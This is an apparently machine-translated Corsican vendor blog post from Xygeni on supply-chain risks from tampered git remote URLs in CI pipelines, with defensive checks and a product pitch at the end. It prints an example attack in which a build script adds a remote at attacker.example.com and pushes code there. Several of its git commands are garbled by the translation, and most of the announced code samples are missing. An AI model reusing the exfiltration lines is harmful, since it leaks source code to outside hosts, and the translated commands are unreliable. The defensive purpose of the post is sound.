git remote set-url - git set url per remote - git add remote

Quandu Git remote set-url diventa un risicu di catena di furnimentu

U Risicu Oculatu Daretu à un Semplice Cumandamentu Git

Per a maiò parte di i sviluppatori, eseguisce un cumandamentu cum'è git remote set-url origin pare rutina, solu un altru passu per mantene a cunfigurazione di Git. I script CI eseguiscenu ancu cumunemente cumandamenti cum'è git remote set-url, Git set url for remote, o Git remote add to fetch or push code durante e compilazioni. Ma eccu u risicu: se un attaccante altera quella cunfigurazione (lucalmente o in CI), pò ridirizionà a vostra fonte versu un repositoriu maliziosu, intercettà credenziali o injectà malware di a catena di furnimentu.

Esempiu di cumu si usa tipicamente:

# Usu legittimu

git remote set-url origine https://github.com/org/project.git

♡️ Esempiu micca sicuru, solu per scopi educativi. Ùn aduprà micca in pruduzzione.

Versione sicura, pin è verificazione di l'origine di u repositoriu

Perchè ? Sè u remotu hè cambiatu à un host cuntrullatu da un attaccante, ogni git fetch/git push successivu punta à codice maliziosu. Codificate l'origine di fiducia quandu hè pussibule è evitate URL dinamiche micca validate.

Cumu a Manipulazione Remota Cumprummette a Custruzzione Pipeline

Un URL remotu Git mudificatu pò avè cunsequenze gravi in ​​l'autumatizazione. pipelines induve i script sò fidati implicitamente.

Esempiu di scenariu:

  • Un script CI usa git remote set-url per riconfigurà i repositori dinamicamente.
  • Una variabile d'ambiente cumprumessa (per esempiu, un token o un URL di repositoriu) hè iniettata in u script.
  • A custruzzione recupera o spinge u codice in un repositoriu maliziosu.
  • L'attaccante inserisce backdoor o dipendenze manomesse.

♡️ Esempiu micca sicuru, solu per scopi educativi. Ùn aduprà micca in pruduzzione.

Versione sicura, validate $REPO_URL prima di l'usu (verificazione di a lista bianca / xygeni).

Perchè: Validà l'URL di repositoriu entranti contr'à una lista bianca mantenuta (o aduprà xygeni verify --git-origin) prima di agisce nantu à elli. Questu impedisce à l'attaccanti di sovrascrive e variabili d'ambiente per ridirizionà pipelines.

Rilevazione di cambiamenti micca autorizati in a cunfigurazione remota

Git ùn vi avvisa micca quandu un remotu hè mudificatu. Monitoraghju pruattivu di .git/config è i cuntrolli d'integrità prima di a custruzzione sò necessarii.

Tecniche di rilevazione pratiche

  • Ispettate a cunfigurazione di Git:

     
    git remote -v

    Paragunate l'output cù l'URL previsti almacenati in una basa sicura.

  • Validà .git/config integrità:

     
    sha256sum .git/config

    Paragunate a somma di cuntrollu cù una basa di basa affidabile.

  • Validazione basata nantu à CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

Nota educativa: Ùn eseguite micca cuntrolli d'integrità o cumandamenti di verificazione cù credenziali di longa durata esposte in logs o ambienti micca prutetti. Aduprate credenziali effimere, secreti in vault, è evitate d'eseguisce cumandamenti di validazione cum'è utilizatore privilegiatu quandu hè pussibule.

Cunsigliu di rilevazione: Cercate remoti chì puntanu à duminii non canonichi (inespettati .net, .io, indirizzi IP), nomi remoti duplicati, o variabili d'ambiente chì cuntrolanu l'URL di u repositoriu senza validazione. A rilevazione precoce impedisce git set-url manipulazione da custruzzioni contaminanti.

Assicurà l'Origini di u Repositoriu cù Guardrails è Validazione Hash

A prevenzione significa applicà cuntrolli stretti nantu à i repositori da i quali si custruisce. Guardrails include a firma, a validazione hash è a restrizione di quale pò mudificà e variabili CI.

Pratiche sicure per l'integrità di u repositoriu

Fixà l'URL di u repositoriu, codificate l'origine di fiducia induve pussibule:

Validà i hash di u repositoriu:

Verificate chì HEAD currisponde à un hash previstu prima di custruisce.

♡️ Esempiu insicuru, stampa di gettoni in i logs (ùn aduprate micca in pruduzzione).

Versione sicura, leghje i sicreti da u vault, è ùn stampa mai

Mini Lista di Verificazione: Gestione Remota Git Sicura

  • Infurzà lista bianca o verificazione di URL remota.
  • Validà l'integrità di .git/config prima di e compilazioni.
  • Richiede firma commits è etichette.
  • Limità quale pò mudificà e variabili d'ambiente CI.
  • Registrà l'esecuzioni di git remote set-url è git remote add per l'audit.

Integrazione di a validazione di l'URL di Git Remote Set in CI/CD Pipelines

Ajouter guardrails è verificazione automatizata per fermà a manipulazione remota à l'iniziu di u pipeline.

Esempiu di Guardrail: verificate a presenza di telecomandi duplicati o micca autorizati

Indurimentu contr'à a manomissione di a catena di furnimentu in ambienti spartuti

I corridori spartuti è i cumandamenti remoti permissivi sò à altu risicu. Evitate i cumandamenti chì aghjunghjenu remoti micca verificati durante l'esecuzione di u travagliu.

♡️ Esempiu micca sicuru, aghjunghjendu un attaccante remotu (ùn aduprà micca).

Versione sicura, limita à i duminii validati è aduprate –set-url solu per l'urighjini appruvate

Nota: preferite i corridori effimeri è evitate e cache spartute persistenti trà i travagli.

Nota nantu à i runner: Aduprate runner effimeri è isolati chì sò ricreati per ogni travagliu. I dischi o e cache spartuti ponu persistà i fugliali manomessi trà e compilazioni.

Integrazione di l'URL di u set Git per a Validazione Remota in CI/CD Pipelines

A sicurità di l'usu di git remote set-url ùn hè micca solu una questione di cuntrolli manuali; si tratta di automatizazione. I flussi di travagliu DevSecOps muderni ponu integrà a validazione direttamente in CI/CD pipelines.

Esempiu: Validazione di l'integrità remota automatizata

Questa cunfigurazione assicura chì prima di qualsiasi compilazione o implementazione, u pipeline cunvalida:

  • L'URL di u repositoriu currisponde à u valore previstu.
  • Commit E firme sò valide.
  • Nisun telecomandu imprevistu hè statu aghjuntu cù git add remote.

Cuntrolli CI supplementari

  • Pre-commit hooks: Verificate chì ùn ci sia micca autorizatu git remote set-url i cumandamenti esistenu in commits.
  • Applicazione di e pulitiche cum'è codice: Definite l'urighjini permesse cum'è parte di e pulitiche cuntrullate da a versione.
  • Mirroring di dipendenze: Estrae u codice da mirror interni verificati invece di fonti internet dirette.

Automatizà sti cuntrolli ùn solu impedisce i sbagli di cunfigurazione, ma rileva ancu i tentativi di manomissione di a catena di furnimentu prima chì u codice sia mai speditu.

Indurimentu contr'à a manomissione di a catena di furnimentu in ambienti spartuti

I runner spartuti o l'ambienti CI effimeri introducenu risichi supplementari. Quandu parechje compilazioni spartenu risorse, i cumandamenti git remote set-url o git add remote ponu esse aduprati cum'è armi per persiste i remoti maliziosi trà e sessioni.

Scenarii d'attaccu cumuni

Un script di compilazione compromessu aghjusta un novu remotu per mandà u codice à u repositoriu di un attaccante:

git aghjunghje una copia di salvezza remota https://attacker.example.com/repo.git

git push backup main

  • Un altru prughjettu chì funziona nantu à u listessu agente CI recupera da questu statu contaminatu.
  • I dati sensibili cum'è i gettoni o l'artefatti di compilazione sò filtrati per via di push micca autorizati.

Misure di indurimentu

  • Curridori Effimeri: Resettà l'ambienti CI dopu ogni compilazione.
  • Isolamentu di a rete: Limità u trafficu in uscita à i duminii appruvati.
  • U minimu privilegiu: Limità i permessi per l'operazioni Git in pipelines.
  • Firma di l'artefatti: Assicuratevi chì tutti l'output di compilazione sianu firmati è verificati crittograficamente.

Cumbinendu l'isolamentu, a validazione è u monitoraghju, e squadre ponu neutralizà l'attacchi chì sfruttanu git set url per a manipulazione remota.

Validà, Monitorà è Automatizà a Fiducia di u Repositoriu

Un solu git remote set-url mal utilizatu o un git add remote micca verificatu pò ridirizionà in silenziu tuttu u vostru prucessu di compilazione versu un repositoriu cuntrullatu da un attaccante. A linea trà a produttività è u compromessu in DevOps hè più fina chè mai, è attacchi à a catena di furnimentu di software sfruttà precisamente què.

Per mantene a fiducia in u vostru pipelines:

Piattaforme piace Xygeni Aiutà e squadre DevSecOps à rilevà errori di cunfigurazione remoti, monitorà i limiti di fiducia di i repositori è bluccà i risichi di a catena di furnimentu derivanti da l'usu impropriu di Git, prima chì i remoti maliziosi abbianu mai a pussibilità di implementà u codice.

Fidatevi di u vostru flussu di travagliu, ma verificate a vostra fonte. Hè cusì chì impedite à git remote set-url di diventà a vostra prossima violazione di sicurezza.

sca-tools-software-strumenti-d'analisi-di-cumpusizione
Priorizà, rimedià è assicurà i vostri risichi di software
Uttene u vostru contu gratuitu.
Nisuna carta di creditu necessaria.

Assicurà u vostru sviluppu è a consegna di software

cù a Suite di Prodotti Xygeni